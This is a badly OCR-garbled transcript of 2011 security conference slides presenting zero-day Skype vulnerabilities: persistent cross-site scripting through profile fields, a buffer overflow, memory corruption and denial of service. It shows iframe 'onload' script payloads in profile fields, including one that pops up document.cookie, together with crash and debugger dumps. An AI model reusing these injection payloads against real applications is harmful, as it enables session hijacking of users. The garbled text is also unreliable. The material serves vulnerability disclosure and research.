ULNERABILITY
ABORATORY

KYPE "OICE CVERIP - “OFTWARE "ULNERABILITIES
- TECHNIQUES & SCHEMES — ZERO DAY EXPLOITATION 2011 -

Benjamin Kunz M. & Pim J.F. Campers

WWW. .COM




ULNERABILINY
ABORATORY

... Most important Questions

* How much attack schemes will be discovered today?!
e Are the different schemes verified or tested?

e How much of them are client- or software/server-side?
e Are the discovered vulnerabilities OS independent?

» Severity or priority of the discovered vulnerabilities?

e How much time did your group needs to exploit & identify?



CLIENT SIDE SKYPE EXPLOITATION (Remote & Local)
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PERSISTENT 3CRIFTCODE INJECTION #1 SKYPE EXPLOITATION (Remote & Local)
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PERSISTENT 3CRIFTCODE INJECTION #2 SKYPE EXPLOITATION (Remote & Local)
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TRANSFER BUFFER OVERFLOW SKYPE EXPLOITATION (Remote)
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MEMORY CORRUPTION (POINTER) 3K YPE EXPLOITATION (Local)

Skype Software
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DENIAL OF SERVICE SKYPE EXPLOITATION (Local .2 Remote)
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ULNERABILITY
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... Discovered zer0O-day security Issues!

 Skype 5.3.x 2.2.x 5.2.x - Persistent Cross Site Scripting Vulnerability
» Skype 5.3.x 2.2.x 5.2.x - Persistent Software Vulnerability

» Skype 5.5.x 5.3.x - Standby Remote Buffer Overflow Vulnerability

» Skype 5.5.x 5.3.x - Denial of Service Vulnerability

 Skype 2.8.x & 5.1.x - Memory Corruption Vulnerability



AETE L 1 AT fadl e WA IATY e el i

31 I Width:1440  Hedght ;S
Adjusted recording window iz set to
Profile far "><iframe src="anload="alert'name'|"> ox (¥ Y:2  Width:lddd  Hedght:B%
Vo J1 0 WS a o IPpEa L0 |,|' i L ||_|

"s<ciframe sre=" onload=alert'mo0d' )=
[ it 'JI 1ZANHe s
Lapturing

Full Name:

E-mail:
Home Phone: |=<iframe src="a" onload="alert{'hphone')"=

Phone: | *=<iframe src=" onload="alert('ophone’)*=

EUITIER LGN -ame src=" onload=alert{document. cookie)=

Birthday
Gender:
Language:

Andre ¥ Countny
Flarian Steinho i

W IMpuise
|OK City | *=<iframe src=" onload="alert("ci
Hamepaga: | “=<iframe src=" onload=";

‘=<iframe src=" onload="alert{"w:

Cancel | Update |

12,924,384 Paople Online



T B ) T — 0|8 X

Skype Contacts Corwersation Cal Wew Tool Help

P TEERET PTET I W ) Skype Home @) Profile | [ Facebook

. | 5
al cheaply to mogile d landl
ol chespytomcble prones endlendioes | o ot use Skype View hep videos

L Contacts ® Recent
News and alerts Show top contacts ) &

Echo [ Sound Tast Service

. "= eiframe src=" onload="alert{'n.. %

Message from webpage E

' SO CCY s L e M1 3106091 95: To=1 2003340252 T2 e VER =05, 3.0, 120/0; 5_vim{ C5]v 1 |26A23E60051 01 CRC-40000104401489A3{CE];
. skype-session=b2564382f 2d9056 7 9adF 3008d 3322 3c 9931 7F; shkype-session-token=28c580cA75036ceebiIf | 766 1 DAEAS5E351 4073

gt &ltiframe [ ]

sro=
onload="aler
(name’) &gt

-l'-l- Rdd & conkact 'u‘-hl- Create & group

s2¢ Call phones




Skype Contacts Conversation Call View Tools Help
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€459 manager- i

Company details Cnmpany details

Skype Manager settings
Payment settings

Redeem voucher
Company name ="2SCRIPT-CODE! via UPDATE! m Cancel

Registration number

VAT number &
Reqgistration address Marth Street 1400
Qrem UT
84057
Utah
Germany

Billing address Same as registration address



Skype Kontakte Konversation Anruf Anzeige Aktonen Hilfe

Festnetz- und Mobiltelefone anrufen

L Kontakte (® Konversationen

m

"+ Kontakt hinzufligen m Gruppe erstellen

sss Telefone anrufen oder SMS schicken

Hi, C__JE O0x41

| set up a Facebook profile where | can post my pictures, videos and events and | want to add you as a friend so you can see it.

First, you need to join Facebook Once you join, you can also create your own profile.
Thanks, Thomas Metzmacher

Sign up for Facebook now

Already have an account? Sign in now

You have been removed from a Skype Manager

The administrator has removed you from the Skyvpe Manager called S#50&#658# 32 8% T 2 S#02 EHE08#T 08851 8334 8#10. The
administrator is |:|J1x.

If vou believe this was a mistake, please contact the administrator immediatehy.
Your Skype account is still active, but vou will ne longer be allocated Skype Credit or Online Numbers by this Skype Manager.
Any Online Numbers previously allocated to yvou by this Skype Manager have now been removed and returned to the Skype

Manager.

ou are now able to join a different Skype Manager, or you can purchase Skype Credit and products directhy through your
Skype account.

You have been removed from a Skype Manager

The administrator has removed you from the Skype Manager called ="

HA KIMI
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Skype Kontakte Konversation Anruf Anzeige Akfionen Hife

v Oxdt f Gl br X SchlieBen
aFesmet-und Mabiltelefone anrufen b [ Mannheim, BW, Deutschland I
4 Kontakte (® Konversationen Deutsch
Ménnlich
& . a .
&) Skype  + Eine Rufnummer hinzufiigen b
= 6 Skype funktioniert nicht mehr
W O Videoanruf NELGIENGEY
DmsGewitr 7EtHY 18 Windows kann online nach einer Lasung fior das Problem suchen, R
nope
= W 9 Online nach einer Lsung suchen und das Programm schliefen
DasGewitter  ah !
. % Programm schlieBen
Twish I coff
| :) -
. calmefull| (4 Problemdetails ausblenden
[ & DasGewitter  can't right]
g Problemsignatur. -
1 | Problemereignisname: APPCRASH [
DasGenitter  whenwil i | Anwendungsname: Skype.exe 3
byt Anwendungsversion: 510112
' Anwendungszeitstempel. 4d4037c2
DasGewitter  notonthigh | Fehlermodulname: KERMELBASE.d E
Fehlermodulversion: 6.1.7601.17514
the
ks Fehlermodulzeitstempel: dcelbafa
Il be on it Anenahmernde Alfafafa i
] i} b
or [ater, -
@~ [IDateisenden <} Extras

:'+ Kontakt hinzufiigen m_ Gruppe erstellen




&/ Skype

@ Skype funktioniert nicht mehr

Windows kann online nach einer Lésung fir das Problem suchen,

% Online nach einer Ldsung suchen und das Programm schliefen

% Programm schlieBen

h Problemdetails ausblenden

Problemereignisname:
Anwendungsname:
Anwendungsversion:
Anwendungszeitstempel:
Fehlermedulname:
Fehlermodulversion:
Fehlermodulzetstempel:
Ausnahmeoffset:




E| "CA\Program Files
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File Edit View Debug Window Help
= | S H= G | M EREEIOREOEE|[E

| Aa

Command |
ol LI T Y e N oI _cguay o3 _couany s W LD W = S O W D SN e L L 3
(93 . ffc): Access wiolation — code 0000005 (first chance)

Fir=t chance exception= are reported before any exception handling.

Thi= exception may be expected and handled.
eax=9f5ad4b35 ebr=ctl3iialds ecx=4934d7073 ed=z=0000023f e=1=0f960bde edi=cedfidd9

21p=539202fd e=p=4£300£90 =bp=cbhftabz? i1opl=0 nv up =21 pl nz na po nc
c==0023 ===00Z2b d==002Zb e==002Lb f==0053 g==002b ef 1=00010202
539202f4 =di1l int 1

0:009: g

(93 . ffc): Acces=s wiolation — code 0000005 (1!l =econd chance 1)
eax=9ft5adb3t ebr=ctl3iali ecx=4984d7Y073 ed=z=0000023f e=1=0f%c0bde edi=cedfidds
eip=539202f4 e=sp=4£300f90 ebp=cbhfeab?? i1opl=0 hv up =21 pl nE na po hno
c==0023 ===00Zb d==002Zb e==002Lb f==0053 g==002Zb ef 1=00010z202
L39202f4 c=dOl int 1

0:009: g

(93 . ffc): Acces=s violation — code 0000005 (fir=t chance)

Fir=t chance exception= are reported before any exception handling.

Thi= exception may be expected and handled.
eax=9f5ad4b35 ebr=ctl3iialds ecx=4934d7073 ed=z=0000023f e=1=0f960bde edi=cedfidd9

Ln 0, ColQ Sysl:<lLocal> Proc000:93c Thrd 009:ffc ASM OVR CAPS

eip=539202f4 e=sp=4£300£90 ebp=cbfeab? i1opl=0 nv up 21 pl nE na po nc
c==0023 ===002b d==002b e==002b f==0053 g==00Z2Zb ef l=00010202
L39202f4 cdOl int 1 5

sl
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Ablage Bearbeiten Darstellung Gehe zu Fenster Hilfe 4 L =4 ®mr6e9% Do.20:08 Q
; schtfiir

Sie haben Skype aufgrund eines Problems beendet.

Klicken Sie auf ,An Apple senden®, um den Bericht an Apple zu senden. Diese Informationen werden anonym erfasst.

¥ Kommentare

Baschreiben Sie alle notigen Schritte, um den Fehler zu reproduzieren.

Problemdetails und Systemkonfiguration
Date/Time: 2011-B6-09 20:06:57 +D200 S
05 Version: 18.6.6 (Build 18J567) m

Architecture: ¥B6_64 ; )
Report Version: 7 L i

Command : Skype (S

Path: Volumes/Skype/Skype.app/Contents/Mac05/Skype

Version: 5.1.0.968 (5.1.0.06B)

Parent: launchd [B7]

P1D: 184 | B.0.0 Uber diesen Mac

Event: hang

Duration: 5.675 (sampling started after 2 seconds)

Steps: 17 (1@@ms sampling interval) é;

Pageins: 24 f

Pageouts: B k(f
\_rr-'h_)rj(.l

Process: Skype [184]

Path: Volumes/Skype/Skype.app/Contents/Mac05/Skype

UID: Lol Mac OS x

Version 10.6.6

Thread Bf513d4 DispatchQueue 188

User stack: I:SoftwarealcluaFis'rerung :]
16 __memcpy + 214 (in commpage [LlibSystem.B.dylib]) [@xffffeB7E]

__longcopy + 383 (in commpage [libSystem.B.dylib]) [Bxffffl3Zf]

B
2 __longcopy + B4 {in commpage [LlibSystem.B.dylib]) [@xffff1254] Prozessor 2.4 GHz Intel Core 2 Duo
1 __longcopy + 161 (in commpage [LibSystem.B.dylib]) [@xffffl2al]
1 __longcopy + 358 (in commpage [LibSystem.B.dylib]) [@xffff135e] Speicher 4 CB 1067 MHz DDR3
1 __longcopy + 261 (in commpage [LibSystem.B.dylib]) [@xffff1385]
1 __longcopy + 326 {in commpage [libSystem.B.dylib]) [@xff{f{1346] Startvolume Macintosh HD
1 __longcopy + 388 (in commpage [LlibSystem.B.dylib]) [@xffff1334]
1 __longcopy + 137 (in commpage [LlibSystem.B.dylib]) [@xffff1289] |: Weitere Informationen ... J
1 operator new[]{unsigned long) + 17 {in libstdc++.6.dylib) [Bx81f5f783] j
1 operator new(unsigned long) + 36 (in libstdc++.6.dylib) [@x91f5f617]

1 malloc + 50 (in libSystem.B.dylib) [@x897548278] Tmuﬁﬁe?gﬁﬁ;ﬁ;ﬁlﬁﬁﬂf i

® (Detaiks ausblenden ) ( Nicht senden ) ("Amlmﬂn




age Bearbeiten Darstellung

8eno
< @ emma bunta |

Kontakte

Heute

a H Echo / Sound Te...

4956] ;-;:?

=1

Gehe zu  Fenster

Hilfe

Skype

+4956188(__|

Telefonnummer

ajskdhasd

IGEETRRY c: :
956188( | Sie bend

asfasf
4956188 | Sie bend
afgasfasf

+49561R8

&2

Wenn ein Programm fiir einige Zeit nicht reagiert,
wihlen Sie dessen Namen aus und klicken Sie auf
JSofort beenden”,

| Adressbuch
) Safari

-/ TextEdit

I Finder

Sie kinnen dieses Fenster affnen,
indem Sie Befehl-Wahl-esc” driicken.

((Sofort beenden )

P

8B Sie bendtigen Skype-Guthaben zum SM5-Versand. Skype-Guthaben erwerben Ji

.Y

- = 4 ®mp70% Do.20:06 Q

159 ) 0,10€ @)~

et EildegimApT)
—
A00 Uber diesen Mac
=2 ¢
II/\/‘E
u‘l
i t ¥ -
Version 10.6.6
l: Softwareaktualisierung ... :]
Prozessor 2.4 GHz Intel Core 2 Duo
- |
" Speicher 4 GB 1067 MHz DDR3
1 Startvolume Macintosh HD
T
l: Weitere Informationen ... J
Vi oto TM und © 1983-2011 Apple Inc.

Alle Rechte vorbehalten.




Cuts Waiting Backup L/ Skype-Nuizenerzeichnis

] a = = ] s»ss Telefone anrufen oder SMS schicken
L2 Skype ™ [1]=rm.0} EHlea ] & | pas
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Skype Kontakte Anruf Anzeige Aktionen Hilfe

4~ REMOVE 0x41

ETesten Sie Skype mit einem Gratisanruf

L Kontakte (® Konversatio...

o—=

Was?

et

Alter als eine Woche - fghanistan
W Iel Unbekannter Fehler.
Altere Nachrichten anzeigen e
len

ss2 Telefone anrufen oder SMS schicken

{a E-Mail-Kontakte suchen
# Sie kinnen Kontakte aus Thren
* zmail-, Hotmail- oder sonstigen We...

Geschaftsempfehlungen finden

EIEEIES

_

¥ Schliefen
) Hife

[, Geschafte finden

WoY

Suchen

i~ |




Immunity Debugger - Skype.exe - [CPU - main thread, module KERNELEA
File View Debug
R EER RN R

Plugins  ImmLib ans dow Help Jobs

‘Bl

Mo EDI, EOI

PUSH EBP

fou- EBP, ESP

PUSH ESI

gﬁg ESI ,DWORD PTR 55: [EBP+2]
PSHDRT KERHELBH 7PHEETSG

SHORT KERHELBH 7 THEETSG
LEA ERY, WORD FTR S%: [EBP+8]
PUSH EAY
FUSH @
PUSH ESI
KERMELEA. SetStdHand LeEx
TEST ERH,EAM
SHORT KERMELER. 77HEEYEE
MOU EST, DWORD PTR 552 (EBP+E]
FUSH EST
OWORD FTR DS:[<&ntdll.HtCloser]
0P ESI
TEST EAR
SHORT KERHELBH TPHEETE?
WOR EAM, EAX

[HC ERX
SHORT KERMELER. 7PBERVEF
3H EHE
KERMELEA. 77116632
e ERK

ntdll.Zullose

Mo EDI, EOI

PUSH EBP

M E

Hou ERH DNDRD TR S5: (EBP+C]

CHP
SHDRT KERHELBH.??GEB?BI

HP EAH, ~66

SHDRT KERMELERA, 7reERTAE
CHP ERX, -EH
SHORT KERMELER. 77BEB7CE
MO ERX, DWORD PTR F3: (181
Hou EHH.DNDRD PTR 05 (ERR+38]
HOU_ERK, DWORD PTR 032 CEAX+161

B4Rl 12RERAGE
8B4 30
2E4E 1@

emtwhcPkbzr.

ERY 8918F84B
ECy paaaoo:y
ED BEERAEEE
EBY SBAA4EE5
ESF BE15FE48
EBF B@1B8Fa50
ESI BES4DEDZ Skype.BAS4DEDZ
EOT BA18F3EE

EIF TPEEEYZY KERMELERA, PreEBTE?

C§ ES BEzB 32bit BIFFFFFFFF)
LS @823 32bit BIFFFFFFFF]
55 BEZB 32bit BCFFFFFFFF)
05 BB2E 32bit BIFFFFFFFF]
F3 BES3 32bit PEFODGAALFFF)
G5 BBZE 3Zbit BIFFFFFFFF]

08 LastErr ERROR_SUCCESS (BEGRBEGE]
EFL weaagziz (HO,ME,HE,H, NS, PO, GE, G)

ST enpty @, 4340AEAGRARADARGEIE
ST1 empty 16, AREACABABERGEEEER
ST2 enpty @, 4340AEAGRARADARGEIE
5T3 enpty 1, HEHGACAGHEHERERGEHE
5T4 empty #f. 190

STE empty A 190

STE empty w190

ST7 empty A 190 -

g
FST GB20 Cond 1 B @ 8 Err

ESFPUDZ
Bole8g
FCW 1372 Prec MEAR, 84 Mask 1188

Hew durip
=i T s o e e
A1A7EAAS 90 E7 71 VE B2 80 4P B EAq*BiG,
A1A7EA1E SA 52 41 6@ 5C B3 41 B8 PRA.-|A.
A1A7EA1S A4 55 41 GA EA 87 41 B8 dUA.GGA.
A1A7EA2E BA SF 41 @A 72 13 8B CO LAR.rlITt
A1A7EA2E PR 20 40 @A @1 20 48 B9 . 1R8I,
A1A7EA3E BA 50 40 6@ @1 40 48 68 . 16816,
A1ATEA3E PR G B EA AP BE @A B

BBC40EDZ E1T. RETURM to Skype.BES40EDZ from Skype.@E4E7EIE

HRLEF2E G-,

HRLEFAFS @94,

BALEFACY —=4,

BH1BF94 #-t, Pointer to newt SEH record

BR42F21C L=B. SE handler

HRLEFAFS @94,

EEESEEES %.;H UMICODE "http:<sfind. directory.skypesfind redirectfact lon=searchh lastoountry=af hoountry=afbuwhat=AARARARARARAR™
ataw
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Skype Kontakte Konversation Anrufen Anzeige Aktionen Hife
* Jxdl t | Nutzerverzeichnis ) ilfe
Video

'ﬂn Menschen finden

Anpassen -

L Neu~

. . Mamen, Skype-amen oder E-Mal-Adresse fiir die Suche in Skype eingeben,
Neue Kategorie ¥ Konversationen e e

Suchen
+  Alle Kontakte
Skype 5
iw! Welche Freunde sind bereits in Skype?
(@, 9 Outof memory
Geschéftsempfehlungen finden )
Was? Wo?
Suchen

- Geschafte findenin:  Vereinigtes Ko.. [l
I\ Benachrichtigungen eschaftefndenin: - Vereinigtes Ko... (5]

® Telefone anrufen oder SMS schicken

8. Personen oder Firmen suchen @ = Gescnse empfehlen

Unsere neuen Abonnements —
die giinstigste Art, Telefone
- 15% | mit Skype anzurufen




Fehlerbericht fir Skype

@

Skype wurde unerwartet beendet.

Klicken Sie auf An Apple senden”, um den Bericht an Apple zu senden. Diese Informationen werden anonym erfasst.

b Kommentare
Problemdetails und Systemkonfiguration

Process: Skype [61833]

Path:

Identifier: com. skype.skype
Version: 2.8.0.851 (2.8.0.851)
Code Type: ¥86 (Mative)

Parent Process: launchd [166]
Date/Time:
05 Version:
Report Version: &

Interval 5ince Last Report:

Crashes Since Last Report:

Per-App Interval Since Last Report:
Per-App Crashes Since Last Report:
Anonymous UUID:

Exception Type: EXC_CRASH (SIGABRT)
Exception Codes: BxBOQ000DB0BHRBRDOA,
Crashed Thread: 6

Application Specific Information:
abortl) called

2010-10-84 21:31:44.863 +0200
Mac 0S5 X 10.6.4 (1BF569)

fApplications/Skype.app/Contents/Mac0s/Skype

2972437 sec

1117

2630855 sec

2

2DCE5869-9F5B-46AD-950A-22095FACEBFC3A

DxDRBBOARRBODBRADG

Thread @: Dispatch gueue: com.apple.main-thread

B libSystem.B.dylib Bx05747ef6 __kill + 1@

1 LlibSystem.B.dylib Bx35747eed K1ILLFUNIXZOBI + 32

2 libSystem.B.dylib Bx957dab2d raise + 26

3 libSystem.B.dylib Bx957fB6ed abort + 93

4 com.skype.skype BxBBZ232371 Ox1880 + 2298751

5 7 Pxffffffff @ + 4294967205

& com.apple.CoreFoundation Bx93249faft __ CFRunLoopRun + 28789

7 com.apple.CoreFoundation Bx93249894 CFRunLoopRunSpecific + 452

8 com.apple.CoreFoundation Bx9324Becl CFRunLoopRunInMode + 97

] com.apple.HIToolbox Bx97dbef9c RunCurrentEventlLoopInMode + 202
12 com.apple.HIToolbox Bx97db6d51 ReceiveMextEventCommon + 354

11 com.apple.HIToolbox Bx97dbE6bd6 BlockUntilMextEventMatchinglistInMode + B1
12 com.apple.AppKit Bx3477eaBd _DPSNextEvent + 847

12 com.apple.AppKit Bx3477e2ca —[NSApplication nextEventMatchingMask:untilDate:inMode:dequeue:] + 156
14 com.apple.AppKit Bx94740855b —[NSApplication run] + 821

15 com.skype.skype BxBBZ21c5Th Dx1888 + 2289275

16 com.skype.skype Bx8021cBlb Bxl088 + 22B9E19

17 com.skype.skype Bx00002cab Bxl0B8 + 7339

18 com.skype.skype Bx00002bHd2 Bx1088 + 7129

Thread 1: Dispatch gueue: com.apple.libdispatch-manager

B libSystem.B.dylib Bx9570d942 kevent + 18

1 libSystem.B.dylib Bx9570ed5¢c _dispatch_mgr_invoke + 215

2 libSystem.B.dylib Bx95708d519 _dispatch_gueue_invoke + 163

3 libSystem.B.dylib Bx95708d2be _dispatch_worker_thread2 + 240
4 LlibSystem.B.dylib Bx9570cd4l _pthread_wgthread + 398

5 libSystem.B.dylib Bx957@8cbB6 start_wgthread + 38

Thread 2:

B libSystem.B.dylib Bx957150866 _ semwait_signal + 18

1 libSystem.B.dylib Bx35748c64 nanosleepiUNIXZB03 + 188

Y crm mme e Eavmdad oo

(" Details ausblenden )

[ e T e Ta 105 |

i TMEThraad cloonllnt s INataa] o 147

(" Nicht senden ) (An Apple senden }

-



Skype Kontakte Konversation Anruf Anzeige

v Dxdt i

a Festnetz- und Mabiltelefone anrufen

Alle Kontakte ~  Konversationen

m

[ T |
|4 Such

m

"+ Kontakt hinzufiigen '“‘-‘I- Gruppe

Aktionen Hife
Ivan Montilla
O Onwards to ffuture/

a3 13:08 Caracas, Venezuela

'u Onling

s+ Telefone anrufen oder SMS...

Unsere neuen

@ Videoanruf \II:'|'|TeiIenl I:W.Kontakle hinzuf[igen. IGesprh’chsstatus il ;

(© Altere Sofortnachrichten anzeigen: Gestern « 7Tage + 30Tage + 3Monate = 6Monate « 1Jahr

Tvan Montila
0541

Tvan Maontila

Tvan Montila

Okl

Tvan Montila

-0kl

excelent exploit mate

?

»"<jframe src=http:/ frulnerability-fab, com

it opens my Firefox with the vulndab site
i)

i am the One

you got exploited by me ?

yep

its not malicious

)

Tknow but it opened automatically ;)

ary

@ Bs5Ms
|




... Questions & Discussion?
 Meet the author for questions, response or feedback
 Explain/Show your own exploitation technique

... Presentation & Handout:
http://conference.hitb/org/hitbsecconf2011kul/materials

... Thanks!

Jiri Shamov, Pim J.F. Campers, Levent Kayan, Thomas
Pullen, Sheila, Dr. Whax, GMC, L33tdawg, Alexander
Fuchs alias fOx23, Mohammed Abelkader, Chokri B.A.
aka Me!ster, Marcel Bernhardt & Ivan Montilla Miralles.
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